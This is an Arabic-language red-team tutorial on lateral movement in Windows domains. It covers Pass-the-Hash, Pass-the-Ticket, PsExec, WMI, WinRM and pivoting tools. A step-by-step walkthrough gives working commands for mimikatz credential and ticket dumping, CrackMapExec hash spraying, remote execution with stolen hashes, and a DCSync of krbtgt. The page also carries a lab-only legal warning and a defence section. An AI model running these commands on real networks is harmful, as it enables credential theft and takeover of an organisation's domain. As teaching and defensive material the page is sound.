الفرق الحمراء — الهجومخبير95mL75

الحركة الجانبية بين المضيفين

Pass-the-Hash، PsExec، WMI، WinRM، SOCKS proxies، Chisel

#Lateral Movement#PsExec#WMI#PtH#Pivoting

من جهاز واحد إلى الشبكة كلها

تشبيه — شرح مبسط
تخيل لصاً دخل غرفة فندق. الباب الذي خلفه يفتح على ممر يربط مئة غرفة. الحركة الجانبية = استخدام الاعتمادات أو الأدوات المتوفرة في تلك الغرفة الواحدة لفتح الغرف المجاورة، ثم استخدام كل غرفة جديدة لتعميق الوصول.

Lateral Movement هو مرحلة ATT&CK TA0008. لا أحد يخترق Domain Admin بسطر واحد. تنتقل من جهاز إلى آخر تجمع credentials في كل خطوة، حتى تصل إلى جهاز عليه session لـ Domain Admin أو DC.

أدوات الحركة الأساسية

بروتوكولات Windows أصلية
  • SMB (445) — PsExec, smbexec
  • WMI (135 + ephemeral) — wmiexec
  • WinRM (5985/5986) — Invoke-Command
  • RDP (3389) — أبسط لكن الأكثر مراقبة
  • DCOM — أقل صخباً، MMC20.Application
Pivoting / Tunneling
  • Chisel — TCP/UDP عبر HTTP
  • Ligolo-ng — أحدث، أداء عالٍ
  • SOCKS5 via SSH أو proxychains
  • Sliver / Cobalt Strike — pivot listeners

Pass-the-Hash و Pass-the-Ticket

01
ما هي PtH؟
NTLM يستخدم hash كمفتاح authentication، ليس كلمة المرور. لو سرقت hash من LSASS، لا تحتاج لكسره — ابعثه مباشرة كأنك تعرف كلمة السر.
bash
# باستخدام impacket
psexec.py -hashes :ntlm-hash-here corp.local/Administrator@10.0.0.50
02
Pass-the-Ticket
Kerberos أصعب لكن أقل ضوضاء. سرقة TGT أو TGS من ذاكرة عملية، ثم حقنها في session مختلف.
bash
# تصدير TGTs
mimikatz # sekurlsa::tickets /export

# على آلة مختلفة
mimikatz # kerberos::ptt c:\temp\target.kirbi
psexec.exe \\dc01 cmd

Walkthrough: من workstation إلى DC

01
جمع الاعتمادات على الجهاز الحالي
bash
# بعد SYSTEM (انظر windows-privesc)
mimikatz # sekurlsa::logonpasswords
# أو
secretsdump.py -system SYSTEM -sam SAM LOCAL
02
استكشاف الشبكة
bash
# CrackMapExec — الأداة الذهبية للحركة الجانبية
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --shares
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --lsa  # dump SAM/LSA

# اكتشف الأجهزة التي قبلت الاعتماد
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash | grep "(Pwn3d!)"
03
انتقل إلى الجهاز التالي
bash
# WMI execution — يتجاوز PsExec في معظم EDRs
wmiexec.py corp/admin@10.0.0.55 -hashes :hash

# أو WinRM
evil-winrm -i 10.0.0.55 -u admin -H hash
04
ابحث عن session لـ Domain Admin
bash
# BloodHound يكشف من سجل دخوله أين
# Cypher: MATCH p=(u:User {admincount:true})-[:HasSession]->(c:Computer) RETURN p
# لو جهازك pwn3d وجد عليه DA session = اقترب
05
DCSync — السحب النهائي
bash
# لو وصلت لـ DA أو user عنده DCSync rights
secretsdump.py -just-dc-user 'corp\krbtgt' corp/da@dc01
# الحصول على krbtgt hash = Golden Ticket = ملك للنطاق
تحذير قانوني
استخدم هذا في مختبر AD معزول. الحركة الجانبية في شبكة فيدرالية بدون authorization صريح = جناية. بناء lab AD محلي مجاني ومتاح (GOAD على GitHub).
الدفاع — كسر سلسلة الحركة الجانبية
  • تطبيق Tier model: Tier 0 (DCs) لا يقبل اعتمادات Tier 1/2
  • تعطيل NTLM حيث أمكن، فرض Kerberos فقط
  • LAPS لكلمات مرور المسؤول المحلي — كل جهاز كلمة فريدة
  • حظر SMB من workstation إلى workstation (lateral SMB)
  • Network Segmentation — VLANs و firewalls داخلية
  • Honey accounts: مسؤول وهمي، أي محاولة استخدام = alert
  • راقب 4624 logon type 3 من workstations نحو servers خارج الـ pattern

مصادر

  • SpecterOps — An ACE Up The Sleeve
  • BloodHound documentation — attack paths
  • MITRE ATT&CK — TA0008 Lateral Movement
  • GOAD lab — github.com/Orange-Cyberdefense/GOAD